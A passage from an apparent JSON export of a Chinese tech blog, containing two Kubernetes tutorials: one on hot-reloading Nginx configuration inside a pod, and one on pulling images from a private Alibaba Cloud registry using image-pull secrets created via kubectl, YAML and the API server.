bb80604 Built: Tue Oct 11 17:00:50 2016 OS/Arch: linux/amd64 Server: Version: 1.12.2 API version: 1.24 Go version: go1.6.3 Git commit: bb80604 Built: Tue Oct 11 17:00:50 2016 OS/Arch: linux/amd64 Kubernetes集群：1.3.7 私有镜像仓库：阿里云镜像仓库 三、实现 1、nginx image的创建 nginx image实现了两个功能，一个自然是nginx自身了，另外一个就是监听/etc/nginx/conf.d/default.conf文件的变化，并适时调用nginx -s reload更新nginx配置。在kubernetes的源码目录kubernetes/examples下有一个例子：https-nginx，这里面已经为我们实现了一个基于auto-reload-nginx.sh的Nginx image Dockerfile，我们稍作改造就可以直接使用了：\n//Dockerfile FROM nginx MAINTAINER Tony Bai \u0026lt;bigwhite.cn@aliyun.com\u0026gt; COPY auto-reload-nginx.sh /home/auto-reload-nginx.sh RUN chmod +x /home/auto-reload-nginx.sh # install inotify RUN apt-get update \u0026amp;\u0026amp; apt-get install -y inotify-tools 基于该Dockefile构建image：\n# docker build -t xxxx/nginx # docker images REPOSITORY TAG IMAGE ID CREATED SIZE xxxx/nginx latest a1503b1c2b70 42 seconds ago 191.9 MB 官方nginx image基于debian jessie版本构建，apt-get update \u0026amp; install时需要耐心等待一下。\n打标签并推送到我们的阿里云私有镜像库：\n# docker tag a1503b1c2b70 registry.cn-hangzhou.aliyuncs.com/xxxx/nginx # docker images REPOSITORY TAG IMAGE ID CREATED SIZE xxxx/nginx latest a1503b1c2b70 12 minutes ago 191.9 MB registry.cn-hangzhou.aliyuncs.com/xxxx/nginx latest a1503b1c2b70 12 minutes ago 191.9 MB # docker push registry.cn-hangzhou.aliyuncs.com/xxxx/nginx 2、编写Pod yaml 由于init container和config-nginx-generator container在真实场景中都是要与Kubernetes的API Server交互，并生成/etc/nginx/conf.d/default.conf，这需要一个实现过程，在这里我们暂不给出两个Container的具体Dockerfile以及实现功能的实际程序，而是用两个通用docker image，并通过“手动”方式实现它们各自的功能。因此，我们在这一节中就可以给出Nginx Pod的yaml描述文件了：\n//nginx-reload-on-k8s.yaml apiVersion: v1 kind: Pod metadata: name: nginx-reload-on-k8s annotations: pod.beta.kubernetes.io/init-containers: '[ { \u0026quot;name\u0026quot;: \u0026quot;nginx-reload-on-k8s-init-1\u0026quot;, \u0026quot;image\u0026quot;: \u0026quot;busybox\u0026quot;, \u0026quot;command\u0026quot;: [\u0026quot;wget\u0026quot;, \u0026quot;-O\u0026quot;, \u0026quot;/etc/nginx/conf.d/index1.html\u0026quot;, \u0026quot;http://www.baidu.com\u0026quot;], \u0026quot;volumeMounts\u0026quot;: [ { \u0026quot;name\u0026quot;: \u0026quot;conf-volume\u0026quot;, \u0026quot;mountPath\u0026quot;: \u0026quot;/etc/nginx/conf.d\u0026quot; } ] }, { \u0026quot;name\u0026quot;: \u0026quot;nginx-reload-on-k8s-init-2\u0026quot;, \u0026quot;image\u0026quot;: \u0026quot;busybox\u0026quot;, \u0026quot;command\u0026quot;: [\u0026quot;wget\u0026quot;, \u0026quot;-O\u0026quot;, \u0026quot;/etc/nginx/conf.d/index2.html\u0026quot;, \u0026quot;http://dict.cn\u0026quot;], \u0026quot;volumeMounts\u0026quot;: [ { \u0026quot;name\u0026quot;: \u0026quot;conf-volume\u0026quot;, \u0026quot;mountPath\u0026quot;: \u0026quot;/etc/nginx/conf.d\u0026quot; } ] } ]' spec: containers: - name: nginx-config-generator volumeMounts: - mountPath: /etc/nginx/conf.d name: conf-volume image: registry.cn-hangzhou.aliyuncs.com/xxxx/test:latest imagePullPolicy: IfNotPresent command: - \u0026quot;tail\u0026quot; - \u0026quot;-f\u0026quot; - \u0026quot;/var/log/bootstrap.log\u0026quot; - name: nginx-origin volumeMounts: - mountPath: /etc/nginx/conf.d name: conf-volume image: registry.cn-hangzhou.aliyuncs.com/xxxx/nginx:latest imagePullPolicy: IfNotPresent command: [\u0026quot;/home/auto-reload-nginx.sh\u0026quot;] ports: - containerPort: 80 volumes: - name: conf-volume emptyDir: {} Yaml中，我们创建了两个init container，分别用于从baidu.com和dict.cn抓取主页，并存储于/etc/nginx/conf.d的下面备用。nginx-config-generator我们使用image xxxx/test，这就是一个基于ubuntu且安装了诸多网络工具的镜像，用于做目标镜像调试的；nginx container用的就是上面push到私有镜像仓库的那个镜像，command则是执行/home/auto-reload-nginx.sh这个脚本，从而启动nginx和通过inotify监控/etc/nginx/conf.d/default.conf文件。\n我们来创建这个Pod(注意：只有用kubectl apply命令时，init container才会被创建和执行，如果用kubectl create -f ，那么将忽略init container)：\n# kubectl apply -f nginx-reload-on-k8s.yaml pod \u0026quot;nginx-reload-on-k8s\u0026quot; created # kubectl get pod NAME READY STATUS RESTARTS AGE nginx-reload-on-k8s 2/2 Running 0 41s 通过describe pod/nginx-reload-on-k8s，我们能看到一些Container创建的详细信息：\n# kubectl describe pod/nginx-reload-on-k8s Name: nginx-reload-on-k8s Namespace: default Node: 10.46.181.146/10.46.181.146 Start Time: Thu, 17 Nov 2016 21:39:55 +0800 Labels: \u0026lt;none\u0026gt; Status: Running IP: 172.16.57.9 ... ... Events: FirstSeen LastSeen Count From SubobjectPath Type Reason Message --------- -------- ----- ---- ------------- -------- ------ ------- 57s 57s 1 {default-scheduler } Normal Scheduled Successfully assigned nginx-reload-on-k8s to 10.46.181.146 39s 39s 1 {kubelet 10.46.181.146} spec.initContainers{nginx-reload-on-k8s-init-1} Normal Created Created container with docker id 0e21afb58eee 39s 39s 1 {kubelet 10.46.181.146} spec.initContainers{nginx-reload-on-k8s-init-1} Normal Started Started container with docker id 0e21afb58eee 56s 38s 2 {kubelet 10.46.181.146} spec.initContainers{nginx-reload-on-k8s-init-1} Normal Pulling pulling image \u0026quot;busybox\u0026quot; 39s 26s 2 {kubelet 10.46.181.146} spec.initContainers{nginx-reload-on-k8s-init-1} Normal Pulled Successfully pulled image \u0026quot;busybox\u0026quot; 26s 26s 1 {kubelet 10.46.181.146} spec.initContainers{nginx-reload-on-k8s-init-2} Normal Created Created container with docker id 85632ff73ea8 26s 26s 1 {kubelet 10.46.181.146} spec.initContainers{nginx-reload-on-k8s-init-2} Normal Started Started container with docker id 85632ff73ea8 25s 25s 1 {kubelet 10.46.181.146} spec.containers{nginx-config-generator} Normal Pulled Container image \u0026quot;registry.cn-hangzhou.aliyuncs.com/xxxx/test:latest\u0026quot; already present on machine 25s 25s 1 {kubelet 10.46.181.146} spec.containers{nginx-config-generator} Normal Created Created container with docker id 1ce8c6d8a8af 25s 25s 1 {kubelet 10.46.181.146} spec.containers{nginx-config-generator} Normal Started Started container with docker id 1ce8c6d8a8af 25s 25s 1 {kubelet 10.46.181.146} spec.containers{nginx-origin} Normal Pulled Container image \u0026quot;registry.cn-hangzhou.aliyuncs.com/xxxx/nginx:latest\u0026quot; already present on machine 25s 25s 1 {kubelet 10.46.181.146} spec.containers{nginx-origin} Normal Created Created container with docker id 0c692ec28acd 25s 25s 1 {kubelet 10.46.181.146} spec.containers{nginx-origin} Normal Started Started container with docker id 0c692ec28acd ... ... 可以看到四个container依次被pull and create。\n四、测试 现在我们就来测试一下nginx的reload。\n之前的两个init container分别在/etc/nginx/conf.d下创建了index1.html和index2.html，我们就用这两个文件分别作为配置变更前和变更后的首页。\n注意：这时我们还没有/etc/nginx/conf.d/default.conf文件，我们在Pod内访问localhost:80将会得到失败结果：\n# curl localhost:80 curl: (7) Failed to connect to localhost port 80: Connection refused 我们进入nginx-config-generator，创建/etc/nginx/conf.d/default.conf文件，与此同时，通过docker logs -f 监控nginx-origin容器的日志：\n//default.conf server { listen 80; server_name localhost; #charset koi8-r; #access_log /var/log/nginx/log/host.access.log main; location / { root /etc/nginx/conf.d; index index1.html index1.htm; } #error_page 404 /404.html; # redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; } } 我们把/etc/nginx/conf.d/index1.html作为服务站点的首页了。文件创建完毕后，我们同时就可以从nginx-origin容器的日志能看到如下内容：\nAt 14:07 on 17/11/16, config file update detected. 2016/11/17 14:07:25 [notice] 20#20: signal process started 我们再从Pod中访问localhost:80（注意：Pod中的多个container共享network namespace，通过localhost就可以进行互访）：\nroot@nginx-reload-on-k8s:/etc/nginx# curl localhost:80 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;!--STATUS OK--\u0026gt;\u0026lt;html\u0026gt; \u0026lt;head\u0026gt;\u0026lt;meta http-equiv=content-type content=text/html;charset=utf-8\u0026gt;\u0026lt;meta http-equiv=X-UA-Compatible content=IE=Edge\u0026gt;\u0026lt;meta content=always name=referrer\u0026gt;\u0026lt;link rel=stylesheet type=text/css href=http://s1.bdstatic.com/r/www/cache/bdorz/baidu.min.css\u0026gt;\u0026lt;title\u0026gt;百度一下，你就知道\u0026lt;/title\u0026gt;\u0026lt;/head\u0026gt; .... \u0026lt;/html\u0026gt; 我们顺利得到index1.html的内容，这说明配置实时生效了。\n我们再来“触发”一次配置变更。我们将default.conf中的：\nlocation / { root /etc/nginx/conf.d; index index1.html index1.htm; } 改为：\nlocation / { root /etc/nginx/conf.d; index index2.html index2.htm; } 保存！\n从nginx-origin容器日志可以看到如下输出：\nAt 14:17 on 17/11/16, config file update detected. 2016/11/17 14:17:46 [notice] 32#32: signal process started 在Pod中再次访问站点首页：\n# curl localhost:80 \u0026lt;!DOCTYPE HTML\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta name=\u0026quot;renderer\u0026quot; content=\u0026quot;webkit\u0026quot;/\u0026gt; \u0026lt;meta http-equiv=\u0026quot;X-UA-Compatible\u0026quot; content=\u0026quot;IE=EmulateIE7\u0026quot; /\u0026gt; \u0026lt;meta http-equiv=\u0026quot;Content-Type\u0026quot; content=\u0026quot;text/html; charset=utf-8\u0026quot; /\u0026gt; \u0026lt;title\u0026gt;海词词典_在线词典_在线翻译_海量正版权威词典官方网站\u0026lt;/title\u0026gt; ... ... 可以看到配置更新成功，首页换成了dict.cn的首页。\n五、测试 通过上述这些“手动”的触发和测试，可以看出这个方案是可行的。并且我们可以看出，这个方案是有一些好处的：\n不需要依赖外部持久化存储卷； 通过k8s api server获取当前所有 service列表，通过service label来过滤，无需依赖额外的redis server或etcd服务； 剩下的就是具体init container以及config-generator的实现了。这个留给我以及大家后续去完成^_^。\n","permalink":"https://tonybai.com/2016/11/17/nginx-config-hot-reloading-approach-for-kubernetes-cluster/","summary":"\u003cp\u003e\u003ca href=\"https://nginx.org/\"\u003eNginx\u003c/a\u003e已经是互联网IT业界一个无敌的存在，作为反向代理、负载均衡、Web服务器等多种角色的扮演者，Nginx在全球各个互联网公司落地、开花和结果，Ngnix已经成为了支撑全球互联网应用的一个不可获取的组成部分。\u003c/p\u003e\n\u003cp\u003e在我们的平台中，Nginx同样被拿来作为服务接入的最前端的反向代理，并且我们的Nginx也是作为一个Service跑在我们的\u003ca href=\"http://tonybai.com/2016/10/18/learn-how-to-install-kubernetes-on-ubuntu/\"\u003eKubernetes集群\u003c/a\u003e中的。Ngnix背后的服务众多，服务的生生死死都要在Nginx上这些服务路由的配置中有所体现，这就要求部署在Kubernetes集群中的Nginx需要有一个合理的配置热更新方案。\u003c/p\u003e\n\u003cp\u003eNginx自身是支持配置热更新的，通过nginx -s reload命令可以实现这一点：\u003c/p\u003e","title":"Kubernetes集群中的Nginx配置热更新方案"},{"content":"话接上文，在《使用go-ceph管理Ceph RBD映像》一文中我们提到了，我们需要自建一个ceph rbd api service用于给我的产品控制台提供RESTful API服务接口。这个服务我也是打算放在kubernetes集群中作为一个Service运行的。这两天完成了这个服务开发，并编写完Service的Dockerfile，将镜像build, tag并push到了我们在阿里云的私有镜像库。但在通过kubectl创建这个Service时，我们遇到了 ErrImagePull、ImagePullBackOff等Pod status，通过kubectl describe pod/{MyPod}命令查看，发现下面错误提示：\n23s 5s 2 {kubelet 10.57.136.60} spec.containers{rbd-rest-api} Warning Failed Failed to pull image \u0026quot;registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api:latest\u0026quot;: image pull failed for registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api:latest, this may be because there are no credentials on this request. details: (Error: image xxxx/rbd-rest-api:latest not found) 面前这个坑就是Kubernetes集群如何从Private Registry获取容器镜像的问题。关于这个问题，K8s官方文档有较为详细的说明，但填过坑的人都知道，那些说明还是远远不够的，实践中你会碰到很多意想不到的问题。这里就来结合实际操作说说K8s与私有容器镜像仓库是如何在一起欢乐的工作的^_^。\n一、环境 由于Kubernetes和Docker都在Active Develop的过程中，两个项目的变动都很快，因此，特定的操作和说明在某些版本是好用的，但对另外一些版本却是不灵光的。这里先把环境确定清楚，避免误导。\nOS： Ubuntu 14.04.4 LTS Kernel：3.19.0-70-generic #78~14.04.1-Ubuntu SMP Fri Sep 23 17:39:18 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux Docker： # docker version Client: Version: 1.12.2 API version: 1.24 Go version: go1.6.3 Git commit: bb80604 Built: Tue Oct 11 17:00:50 2016 OS/Arch: linux/amd64 Server: Version: 1.12.2 API version: 1.24 Go version: go1.6.3 Git commit: bb80604 Built: Tue Oct 11 17:00:50 2016 OS/Arch: linux/amd64 Kubernetes集群：1.3.7 私有镜像仓库：阿里云镜像仓库 Docker镜像：非公共镜像，大家在测试中可以在自己的私有仓库建立自己的测试镜像 registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api:latest Kubernets在文档中描述了几种访问私有仓库的方法，这里挑选了那些可操作的，逐一测试一下。\n二、方法1：利用Node上的配置访问Private Registry 在玩Docker时，很多朋友都搭建过自己的Private Registry。Docker访问那些以basic auth方式进行鉴权的Private Registry，只需在本地执行docker login，输入用户名、密码后，就可以自由向Registry Push镜像或pull 镜像到本地了：\n# docker login registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api Username: {UserName} Password: Login Succeeded 在这一过程结束后，Docker实际上会在~/.docker目录下创建一个config.json文件，保存后续与Registry交互过程中所要使用的鉴权串（这个鉴权串只是一个base64编码结果，安全性欠佳^_^）：\n# cat ~/.docker/config.json { \u0026quot;auths\u0026quot;: { \u0026quot;registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api\u0026quot;: { \u0026quot;auth\u0026quot;: \u0026quot;xxxxyyyyzzzz\u0026quot; } } } 一但Node上有了这个配置，那么K8s就可以通过docker直接访问Private Registry了，这是K8s文档中与私有镜像仓库交互的第一个方法。考虑到Pod可以被调度到集群中的任意一个Node上，需要在每个Node上执行上述login操作，或者可以简单地将~/.docker/config.json scp到各个node上的~/.docker目录下。\n实际效果如何呢? 我们创建了一个Pod yaml，测试一下是否能run起来：\n//rbd-rest-api-using-node-config.yaml apiVersion: v1 kind: Pod metadata: name: rbd-rest-api-using-node-config spec: containers: - name: rbd-rest-api-using-node-config image: registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api:latest imagePullPolicy: Always 我们来创建一下这个Pod并查看pod的创建状态：\n# kubectl create -f rbd-rest-api-using-node-config.yaml pod \u0026quot;rbd-rest-api-using-node-config\u0026quot; created # kubectl get pods NAME READY STATUS RESTARTS AGE rbd-rest-api-using-node-config 0/1 ErrImagePull 0 5s 通过describe查看Pod失败的详细信息：\n# kubectl describe pod/rbd-rest-api-using-node-config ... ... Events: FirstSeen LastSeen Count From SubobjectPath Type Reason Message --------- -------- ----- ---- ------------- -------- ------ ------- 1m 1m 1 {default-scheduler } Normal Scheduled Successfully assigned rbd-rest-api-using-node-config to 10.66.181.146 1m 42s 3 {kubelet 10.66.181.146} spec.containers{rbd-rest-api-using-node-config} Normal Pulling pulling image \u0026quot;registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api:latest\u0026quot; 1m 42s 3 {kubelet 10.66.181.146} spec.containers{rbd-rest-api-using-node-config} Warning Failed Failed to pull image \u0026quot;registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api:latest\u0026quot;: image pull failed for registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api:latest, this may be because there are no credentials on this request. details: (Error: image xxxx/rbd-rest-api:latest not found) 1m 42s 3 {kubelet 10.66.181.146} Warning FailedSync Error syncing pod, skipping: failed to \u0026quot;StartContainer\u0026quot; for \u0026quot;rbd-rest-api-using-node-config\u0026quot; with ErrImagePull: \u0026quot;image pull failed for registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api:latest, this may be because there are no credentials on this request. details: (Error: image xxxx/rbd-rest-api:latest not found)\u0026quot; ... ... 这个方法对我们的环境并不有效。并且经过多次测试，结果依旧，K8s无法从Private Registry获取我们想要的镜像文件:(。\n三、方法2：通过kubectl创建docker-registry的secret K8s提供的第二种方法是通过kubectl创建一个 docker-registry的secret，并在Pod描述文件中引用该secret以达到从Private Registry Pull Image的目的。\n操作之前，我们先删除掉各个Node上的~/.docker/config.json。\n执行kubectl create secret docker-registry时需要提供private registry的访问UserName和Password：\n# kubectl create secret docker-registry registrykey-m2-1 --docker-server=registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api --docker-username={UserName} --docker-password={Password} --docker-email=team@domain.com secret \u0026quot;registrykey-m2-1\u0026quot; created # kubectl get secret NAME TYPE DATA AGE registrykey-m2-1 kubernetes.io/dockercfg 1 29s secret: registrykey-m2-1创建成功。我们来测试一下引用这个secret对象的Pod是否能Pull Image成功并Run起来。Pod yaml文件如下：\n//rbd-rest-api-registrykey-m2-1.yaml apiVersion: v1 kind: Pod metadata: name: rbd-rest-api-registrykey-m2-1 spec: containers: - name: rbd-rest-api-registrykey-m2-1 image: registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api:latest imagePullPolicy: Always imagePullSecrets: - name: registrykey-m2-1 创建Pod，并观察Pod状态：\n# kubectl create -f rbd-rest-api-registrykey-m2-1.yaml pod \u0026quot;rbd-rest-api-registrykey-m2-1\u0026quot; created # kubectl get pods NAME READY STATUS RESTARTS AGE rbd-rest-api-registrykey-m2-1 1/1 Running 0 7s rbd-rest-api-using-node-config 0/1 ImagePullBackOff 0 29m 通过describe pod，查看创建的event序列：\nEvents: FirstSeen LastSeen Count From SubobjectPath Type Reason Message --------- -------- ----- ---- ------------- -------- ------ ------- 1m 1m 1 {default-scheduler } Normal Scheduled Successfully assigned rbd-rest-api-registrykey-m2-1 to 10.57.136.60 1m 1m 1 {kubelet 10.57.136.60} spec.containers{rbd-rest-api-registrykey-m2-1} Normal Pulling pulling image \u0026quot;registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api:latest\u0026quot; 1m 1m 1 {kubelet 10.57.136.60} spec.containers{rbd-rest-api-registrykey-m2-1} Normal Pulled Successfully pulled image \u0026quot;registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api:latest\u0026quot; 1m 1m 1 {kubelet 10.57.136.60} spec.containers{rbd-rest-api-registrykey-m2-1} Normal Created Created container with docker id d842565e762d 1m 1m 1 {kubelet 10.57.136.60} spec.containers{rbd-rest-api-registrykey-m2-1} Normal Started Started container with docker id d842565e762d 正如我们期望的那样，引用了secret: registrykey-m2-1的Pod成功Run起来了。\n如果一个pod中有来自不同私有仓库的不同镜像，我们需要怎么做呢？通过kubectl create secret docker-registry我们一次只能建立一个registrykey，如果要访问两个镜像仓库，我们就需要分别为每个仓库创建一个registrykey。我们再来创建一个registrykey，对应的仓库为：registry.cn-hangzhou.aliyuncs.com/xxxx/test：\n# kubectl create secret docker-registry registrykey-m2-2 --docker-server=registry.cn-hangzhou.aliyuncs.com/xxxx/test --docker-username={UserName} --docker-password={Password} --docker-email=team@domain.com secret \u0026quot;registrykey-m2-2\u0026quot; created root@node1:~/pullimagetest/test# kubectl get secret NAME TYPE DATA AGE registrykey-m2-1 kubernetes.io/dockercfg 1 1h registrykey-m2-2 kubernetes.io/dockercfg 1 6s 接下来，我们来建一个包含多个container的Pod：\n//rbd-rest-api-multi-registrykeys-m2-2.yaml apiVersion: v1 kind: Pod metadata: name: rbd-rest-api-multi-registrykeys-m2-2 spec: containers: - name: rbd-rest-api-multi-registrykeys-m2-2 image: registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api:latest imagePullPolicy: Always - name: test-multi-registrykeys-m2-2 image: registry.cn-hangzhou.aliyuncs.com/xxxx/test:latest imagePullPolicy: Always command: - \u0026quot;tail\u0026quot; - \u0026quot;-f\u0026quot; - \u0026quot;/var/log/bootstrap.log\u0026quot; imagePullSecrets: - name: registrykey-m2-1 - name: registrykey-m2-2 在secret引用中，我们将两个key都引用了进来。\n创建该Pod：\n# kubectl create -f rbd-rest-api-multi-registrykeys-m2-2.yaml pod \u0026quot;rbd-rest-api-multi-registrykeys-m2-2\u0026quot; created # kubectl get pod NAME READY STATUS RESTARTS AGE rbd-rest-api-multi-registrykeys-m2-2 2/2 Running 0 5s 通过pod的event，我们看看启动的操作顺序：\nEvents: FirstSeen LastSeen Count From SubobjectPath Type Reason Message --------- -------- ----- ---- ------------- -------- ------ ------- 44s 44s 1 {default-scheduler } Normal Scheduled Successfully assigned rbd-rest-api-multi-registrykeys-m2-2 to 10.57.136.60 43s 43s 1 {kubelet 10.57.136.60} spec.containers{rbd-rest-api-multi-registrykeys-m2-2} Normal Pulling pulling image \u0026quot;registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api:latest\u0026quot; 43s 43s 1 {kubelet 10.57.136.60} spec.containers{rbd-rest-api-multi-registrykeys-m2-2} Normal Pulled Successfully pulled image \u0026quot;registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api:latest\u0026quot; 42s 42s 1 {kubelet 10.57.136.60} spec.containers{rbd-rest-api-multi-registrykeys-m2-2} Normal Created Created container with docker id 7c09048a41f6 42s 42s 1 {kubelet 10.57.136.60} spec.containers{rbd-rest-api-multi-registrykeys-m2-2} Normal Started Started container with docker id 7c09048a41f6 42s 42s 1 {kubelet 10.57.136.60} spec.containers{test-multi-registrykeys-m2-2} Normal Pulling pulling image \u0026quot;registry.cn-hangzhou.aliyuncs.com/xxxx/test:latest\u0026quot; 42s 42s 1 {kubelet 10.57.136.60} spec.containers{test-multi-registrykeys-m2-2} Normal Pulled Successfully pulled image \u0026quot;registry.cn-hangzhou.aliyuncs.com/xxxx/test:latest\u0026quot; 42s 42s 1 {kubelet 10.57.136.60} spec.containers{test-multi-registrykeys-m2-2} Normal Created Created container with docker id 9930834fe4a3 42s 42s 1 {kubelet 10.57.136.60} spec.containers{test-multi-registrykeys-m2-2} Normal Started Started container with docker id 9930834fe4a3 k8s分别从两个镜像仓库尝试pull image，并且最终都成功了！\n四、方法3：通过secret yaml文件创建pull image所用的secret 除了上面通过kubectl可以快捷的创建pull image所用的secret外，我们还可以使用常规的手段-yaml描述文件来创建我们需要的secret资源。\n//registrykey-m3-1.yaml apiVersion: v1 kind: Secret metadata: name: registrykey-m3-1 namespace: default data: .dockerconfigjson: {base64 -w 0 ~/.docker/config.json} type: kubernetes.io/dockerconfigjson 前面说过docker login会在~/.docker下面创建一个config.json文件保存鉴权串，这里secret yaml的.dockerconfigjson后面的数据就是那个json文件的base64编码输出（-w 0让base64输出在单行上，避免折行）。\n创建registrykey-m3-1 secret：\n# kubectl create -f registrykey-m3-1.yaml secret \u0026quot;registrykey-m3-1\u0026quot; created # kubectl get secret NAME TYPE DATA AGE myregistrykey3 kubernetes.io/dockerconfigjson 1 3h registrykey-m2-1 kubernetes.io/dockercfg 1 1h registrykey-m2-2 kubernetes.io/dockercfg 1 23m registrykey-m3-1 kubernetes.io/dockerconfigjson 1 29s 对比后，我们发现通过kubectl和yaml创建的两个registrykey secret的类型略有不同，前者是kubernetes.io/dockercfg，后者是kubernetes.io/dockerconfigjson。\n接下来，我们编写一个引用了registrykey-m3-1的Pod：\n//rbd-rest-api-registrykey-m3-1.yaml apiVersion: v1 kind: Pod metadata: name: rbd-rest-api-registrykey-m3-1 spec: containers: - name: rbd-rest-api-registrykey-m3-1 image: registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api:latest imagePullPolicy: Always imagePullSecrets: - name: registrykey-m3-1 创建Pod：\n# kubectl create -f rbd-rest-api-registrykey-m3-1.yaml pod \u0026quot;rbd-rest-api-registrykey-m3-1\u0026quot; created # kubectl get pods NAME READY STATUS RESTARTS AGE rbd-rest-api-registrykey-m3-1 1/1 Running 0 8s 创建成功。\n那么这种方法如何应对含有来自多个镜像仓库container的Pod的呢？这里的思路与方法2略有不同。我们不需要创建并引用两个或多个secret，而是创建一个可以访问多个私有镜像仓库的secret，我们需要将多个镜像仓库的访问鉴权串都放到~/.docker/config.json中：\n按照方法1的介绍，我们先login registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api，得到config.json如下：\n{ \u0026quot;auths\u0026quot;: { \u0026quot;registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api\u0026quot;: { \u0026quot;auth\u0026quot;: \u0026quot;....省略....\u0026quot; } } } 我们再login registry.cn-hangzhou.aliyuncs.com/xxxx/test，得到config.json如下：\n{ \u0026quot;auths\u0026quot;: { \u0026quot;registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api\u0026quot;: { \u0026quot;auth\u0026quot;: \u0026quot;....省略....\u0026quot; }, \u0026quot;registry.cn-hangzhou.aliyuncs.com/xxxx/test\u0026quot;: { \u0026quot;auth\u0026quot;: \u0026quot;....省略....\u0026quot; } } } 我们看到Docker自动将新login的private registry的鉴权串merge到了同一个config.json中了。现在我们基于该包含了两个库鉴权串的config.json创建一个新secret：registrykey-m3-2：\n//registrykey-m3-2.yaml apiVersion: v1 kind: Secret metadata: name: registrykey-m3-2 namespace: default data: .dockerconfigjson: {base64 -w 0 ~/.docker/config.json} type: kubernetes.io/dockerconfigjson 创建secret: registrykey-m3-2\n# kubectl create -f registrykey-m3-2.yaml secret \u0026quot;registrykey-m3-2\u0026quot; created # kubectl get secrets NAME TYPE DATA AGE registrykey-m2-1 kubernetes.io/dockercfg 1 1h registrykey-m2-2 kubernetes.io/dockercfg 1 42m registrykey-m3-1 kubernetes.io/dockerconfigjson 1 19m registrykey-m3-2 kubernetes.io/dockerconfigjson 1 6s 我们编辑一个包含两个容器，引用secret “registrykey-m3-2″ 的Pod yaml：\n//rbd-rest-api-multi-registrykeys-m3-2.yaml apiVersion: v1 kind: Pod metadata: name: rbd-rest-api-multi-registrykeys-m3-2 spec: containers: - name: rbd-rest-api-multi-registrykeys-m3-2 image: registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api:latest imagePullPolicy: Always - name: test-multi-registrykeys-m3-2 image: registry.cn-hangzhou.aliyuncs.com/xxxx/test:latest imagePullPolicy: Always command: - \u0026quot;tail\u0026quot; - \u0026quot;-f\u0026quot; - \u0026quot;/var/log/bootstrap.log\u0026quot; imagePullSecrets: - name: registrykey-m3-2 创建该Pod：\n# kubectl create -f rbd-rest-api-multi-registrykeys-m3-2.yaml pod \u0026quot;rbd-rest-api-multi-registrykeys-m3-2\u0026quot; created # kubectl get pod NAME READY STATUS RESTARTS AGE rbd-rest-api-multi-registrykeys-m3-2 2/2 Running 0 4s Pod创建成功！\n五、调用API创建registrykey secret 对比了方法2和方法3，方法2更简洁，方法3更强大。但在任何一个产品中，secret都不应该是手动创建的，在这种情况下，API创建registrykey secret便是必经之路。一旦选择通过API创建，我们显然将依仗着方法2中的原理，将config.json中的内容通过API请求的Body Post给K8s api server。\n如何在远端构建出config.json的内容呢继而构建出secret yaml中.dockerconfigjson的值数据呢？我们发现config.json套路中，唯一不确定的就是每个private repository下的auth串，那么这个串是啥呢？你大可base64 -d一下：\n# echo -n \u0026quot;VXNlck5hbWU6UGFzc3dvcmQ=\u0026quot;|base64 -d UserName:Password 没错，实质上这个auth串就是UserName:Password的base64编码值。因此，你首先要用某个仓库的UserName和Password按照’UserName:Password’格式进行base64编码，利用编码的结果值构造json内容，比如：\n{ \u0026quot;auths\u0026quot;: { \u0026quot;registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api\u0026quot;: { \u0026quot;auth\u0026quot;: \u0026quot;VXNlck5hbWU6UGFzc3dvcmQ=\u0026quot; } } 然后对这段json数据再做base64编码，所得到的值就是secret yaml中的.dockerconfigjson的值数据。至此，我们来通过API创建一个secret：\n$ curl -v -H \u0026quot;Content-type: application/json\u0026quot; -X POST -d ' { \u0026quot;apiVersion\u0026quot;: \u0026quot;v1\u0026quot;, \u0026quot;kind\u0026quot;: \u0026quot;Secret\u0026quot;, \u0026quot;metadata\u0026quot;: { \u0026quot;name\u0026quot;: \u0026quot;registrykey-m4-1\u0026quot;, \u0026quot;namespace\u0026quot;: \u0026quot;default\u0026quot; }, \u0026quot;data\u0026quot;: { \u0026quot;.dockerconfigjson\u0026quot;: \u0026quot;{cat ~/.docker/config.json |base64 -w 0}\u0026quot; }, \u0026quot;type\u0026quot;: \u0026quot;kubernetes.io/dockerconfigjson\u0026quot; }' http://10.57.136.60:8080/api/v1/namespaces/default/secrets # kubectl get secret NAME TYPE DATA AGE registrykey-m2-1 kubernetes.io/dockercfg 1 2h registrykey-m2-2 kubernetes.io/dockercfg 1 1h registrykey-m3-1 kubernetes.io/dockerconfigjson 1 43m registrykey-m3-2 kubernetes.io/dockerconfigjson 1 24m registrykey-m4-1 kubernetes.io/dockerconfigjson 1 18s 基于registrykey-m4-1，我们启动一个Pod：\n//rbd-rest-api-registrykey-m4-1.yaml apiVersion: v1 kind: Pod metadata: name: rbd-rest-api-registrykey-m4-1 spec: containers: - name: rbd-rest-api-registrykey-m4-1 image: registry.cn-hangzhou.aliyuncs.com/xxxx/rbd-rest-api:latest imagePullPolicy: Always imagePullSecrets: - name: registrykey-m4-1 # kubectl create -f rbd-rest-api-registrykey-m4-1.yaml pod 